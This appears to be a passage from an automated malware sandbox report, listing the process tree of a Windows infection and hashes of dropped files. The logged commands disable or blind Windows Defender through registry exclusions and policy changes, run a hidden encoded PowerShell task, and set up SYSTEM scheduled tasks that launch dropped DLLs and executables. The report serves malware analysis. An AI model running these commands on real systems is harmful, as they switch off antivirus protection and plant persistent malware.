PID:1284

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dSFCGoajU" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:4156

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dSFCGoajU" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2844

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yPeEHKRKYSIU2" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1200

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yPeEHKRKYSIU2" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:4208

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\LIlQlxhqsAqlQuVB" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:3124

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\LIlQlxhqsAqlQuVB" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:4324

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:4392

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:4420

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:4472

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:4360

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:4532

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:4544

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QVWjqfQytQiLC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4652

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QVWjqfQytQiLC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:4716

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XPXpeEiKDyUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4752

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XPXpeEiKDyUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:4808

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4704

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:4688

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dSFCGoajU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4836

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dSFCGoajU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:4668

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yPeEHKRKYSIU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4868

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yPeEHKRKYSIU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1424

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\LIlQlxhqsAqlQuVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4944

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\LIlQlxhqsAqlQuVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:5048

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
4⤵
PID:5084

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
4⤵
PID:4076

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF" /t REG_DWORD /d 0 /reg:32
4⤵
PID:3636

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF" /t REG_DWORD /d 0 /reg:64
4⤵
PID:3856

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4924

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:64
4⤵
PID:3892

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gOYeXybGU" /SC once /ST 21:27:01 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Scheduled Task/Job: Scheduled Task
PID:5008

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gOYeXybGU"
3⤵
PID:4048

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gOYeXybGU"
3⤵
PID:4360

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
3⤵
PID:4660

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
4⤵
PID:4532

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
3⤵
PID:4588

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
4⤵
PID:4544

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ZeWKVsXrVUhETallN" /SC once /ST 06:25:45 /RU "SYSTEM" /TR "\"C:\Windows\Temp\cksoItPsQhGrxIuH\VbWwSTopJxofzBQ\KhYUbSl.exe\" xE /xeyRdidTk 385134 /S" /V1 /F
3⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:4764

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "ZeWKVsXrVUhETallN"
3⤵
PID:4716

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1264 -s 260
3⤵
- Program crash
PID:4608

C:\Windows\Temp\cksoItPsQhGrxIuH\VbWwSTopJxofzBQ\KhYUbSl.exe
C:\Windows\Temp\cksoItPsQhGrxIuH\VbWwSTopJxofzBQ\KhYUbSl.exe xE /xeyRdidTk 385134 /S
2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:4740

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
3⤵
PID:2872

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
4⤵
PID:4656

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
5⤵
PID:4820

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
6⤵
PID:3200

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
4⤵
PID:4512

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
5⤵
PID:4576

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
6⤵
PID:4836

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
4⤵
PID:2376

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
5⤵
PID:4964

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
6⤵
PID:1964

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
4⤵
PID:1412

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
5⤵
PID:4328

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
6⤵
PID:4668

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
4⤵
PID:1372

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
5⤵
PID:5108

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1356

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
7⤵
PID:4872

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bRfJDuKmNsszhfPRJj"
3⤵
PID:4256

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &
3⤵
PID:3676

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
4⤵
PID:3392

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
5⤵
PID:756

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:4992

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
7⤵
PID:3852

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"
4⤵
PID:3956

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
5⤵
PID:3816

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:3992

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
7⤵
PID:2500

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\dSFCGoajU\VowiXM.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "IKgJWbxobPFnKRD" /V1 /F
3⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:3520

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "IKgJWbxobPFnKRD2" /F /xml "C:\Program Files (x86)\dSFCGoajU\pHYhnuH.xml" /RU "SYSTEM"
3⤵
- Scheduled Task/Job: Scheduled Task
PID:1092

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "IKgJWbxobPFnKRD"
3⤵
PID:4188

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "IKgJWbxobPFnKRD"
3⤵
PID:3188

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "akoOFLrBRTPCbU" /F /xml "C:\Program Files (x86)\yPeEHKRKYSIU2\tXNDnZh.xml" /RU "SYSTEM"
3⤵
- Scheduled Task/Job: Scheduled Task
PID:4272

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "wfFQcQKlkPPWv2" /F /xml "C:\ProgramData\LIlQlxhqsAqlQuVB\AuwrjhA.xml" /RU "SYSTEM"
3⤵
- Scheduled Task/Job: Scheduled Task
PID:3332

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "vxcqWRmGqrEtvyfOY2" /F /xml "C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR\IOyXwEN.xml" /RU "SYSTEM"
3⤵
- Scheduled Task/Job: Scheduled Task
PID:316

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "YEGcRNQFZnwPGhngIoG2" /F /xml "C:\Program Files (x86)\QVWjqfQytQiLC\eCRXpIM.xml" /RU "SYSTEM"
3⤵
- Scheduled Task/Job: Scheduled Task
PID:4884

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "igQCsPejxzPEidhrw" /SC once /ST 19:54:58 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\cksoItPsQhGrxIuH\xbanijYm\irnAWPt.dll\",#1 /Ytfdidkemn 385134" /V1 /F
3⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:3340

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "igQCsPejxzPEidhrw"
3⤵
PID:4500

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "ZeWKVsXrVUhETallN"
3⤵
PID:4300

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4740 -s 1564
3⤵
- Program crash
PID:1976

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\cksoItPsQhGrxIuH\xbanijYm\irnAWPt.dll",#1 /Ytfdidkemn 385134
2⤵
PID:820

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\cksoItPsQhGrxIuH\xbanijYm\irnAWPt.dll",#1 /Ytfdidkemn 385134
3⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Drops file in System32 directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:4632

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "igQCsPejxzPEidhrw"
4⤵
PID:1652

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:3688

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4416

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4444

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
Filesize
2.0MB

MD5
abcf1ca6912adc4440d55ec4469d2db0

SHA1
93004f3d99087810eb53fc966d9328405d43438e

SHA256
1058783e0fe861b617b2c6b6070f8a48b428ecb3427d0fa661aed8ecade8f3c9

SHA512
ae485c1b45997f1085ff75fff5ed489d67fecf966dcabe0fe0f4928f0f634bb4d159dd40501feadafc8f29db89c079e1c4d47b2482680a0b6bfd741c335b4fc3

Download Submit
C:\Users\Admin\1000015002\5e51633b83.exe
Filesize
1.8MB

MD5
6c7e43bbf75184c3057fe13366dab2ae

SHA1
32933ffb55922dead5ea5f798f93b51944333734

SHA256
8e52f747699c12d756897c4482703176edf64f09624955ab45c879c5db3aaf8a

SHA512
5d4775e6939a77c0e30844db174c0188f873565a162bc0def410827d08c4ace03ff513c0c4212b17f837ce561dfca91e9e79675a89d42f7166715c89fa6d772c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json
Filesize
187B

MD5
2a1e12a4811892d95962998e184399d8

SHA1
55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

SHA256
32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

SHA512
bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json
Filesize
136B

MD5
238d2612f510ea51d0d3eaa09e7136b1

SHA1
0953540c6c2fd928dd03b38c43f6e8541e1a0328

SHA256
801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

SHA512
2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json
Filesize
150B

MD5
0b1cf3deab325f8987f2ee31c6afc8ea

SHA1
6a51537cef82143d3d768759b21598542d683904

SHA256
0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

SHA512
5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\000006.dbtmp
Filesize
16B

MD5
aefd77f47fb84fae5ea194496b44c67a

SHA1
dcfbb6a5b8d05662c4858664f81693bb7f803b82

SHA256
4166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611

SHA512
b733d502138821948267a8b27401d7c0751e590e1298fda1428e663ccd02f55d0d2446ff4bc265bdcdc61f952d13c01524a5341bc86afc3c2cde1d8589b2e1c3

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1
Filesize
264KB

MD5
f50f89a0a91564d0b8a211f8921aa7de

SHA1
112403a17dd69d5b9018b8cede023cb3b54eab7d

SHA256
b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

SHA512
bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
11KB

MD5
de2383be64059aefc6e8a6204326b761

SHA1
67babf373a7e41feed38815023d50465ae09ee8c

SHA256
1ed5128cceae316319583b5bfcd7347620204921fe81428133868324f6656b2d

SHA512
9faf3c0eb2d2da34a2b5de9d27fb0d3bf06fb1b235582703ed53eb82713a4fb845ea6cb56fc0bcbc9867517e8c1675e2afd9c3431a863b6ebf5dfbbf4fc03ab3

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000007.dbtmp
Filesize
16B

MD5
18e723571b00fb1694a3bad6c78e4054

SHA1
afcc0ef32d46fe59e0483f9a3c891d3034d12f32

SHA256
8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa

SHA512
43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Filesize
290KB

MD5
6dae16112b11cf92ce53252f50e7ff26

SHA1
8ea277128927c24db55bb0ec72ede576b5ab3618

SHA256
057473e8e78027b36a06c09092c735894fec849ee09ec8e5bcd9bc0ba95c12cb

SHA512
4291eb956d9570b20a00fc5922d0ccd4f7a267290e628263481a052c9f9092bd2c532a154888abe39d9596ea7b6d1ca6512a74113314aac51f88e5c1ab8115d2

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000003001\b2c2c1.exe
Filesize
455KB

MD5
f8ec725e4b969f157fd70166e73a56a3

SHA1
8bc092817245f2727154454e0011a8d6704e2eb7

SHA256
eb74efaf4832a80809815051fc97704819fbc4b1d57f07faf39746a02ed1dd10

SHA512
7dc3acb485263fd616ea84999a897f0e298f21485a34457697c523a095083d7de599b3cfc4bc3d45a5d36bc374a3a5e8778646dfa97c447d4be710021678e040

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000005001\judit.exe
Filesize
10.7MB

MD5
c09ff1273b09cb1f9c7698ed147bf22e

SHA1
5634aec5671c4fd565694aa12cd3bf11758675d2

SHA256
bf8ce6bb537881386facfe6c1f9003812b985cbc4b9e9addd39e102449868d92

SHA512
e8f19b432dc3be9a6138d6a2f79521599087466d1c55a49d73600c876508ab307a6e65694e0effb5b705fdecdd0e201f588c8d5c3767fe9ae0b8581c318cadac

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000005001\setup.exe
Filesize
7.3MB

MD5
2427a31070fd7c76f77c324c8b3caabc

SHA1
c03144cfa92341b2b743150b0390154627fcf663

SHA256
bcc1dce70f8644743e3dcc9ee0262df6d16d2d2507ee7263fff7a2b33900beee

SHA512
353944cfddf57ecb02124407ff2dadf17f1551c6f979c288a4b02d5a52daa729b6a878e520dcff35e86ba938427f51d14020b82566689be2ff0ea1fe7c4448d7

Download Submit
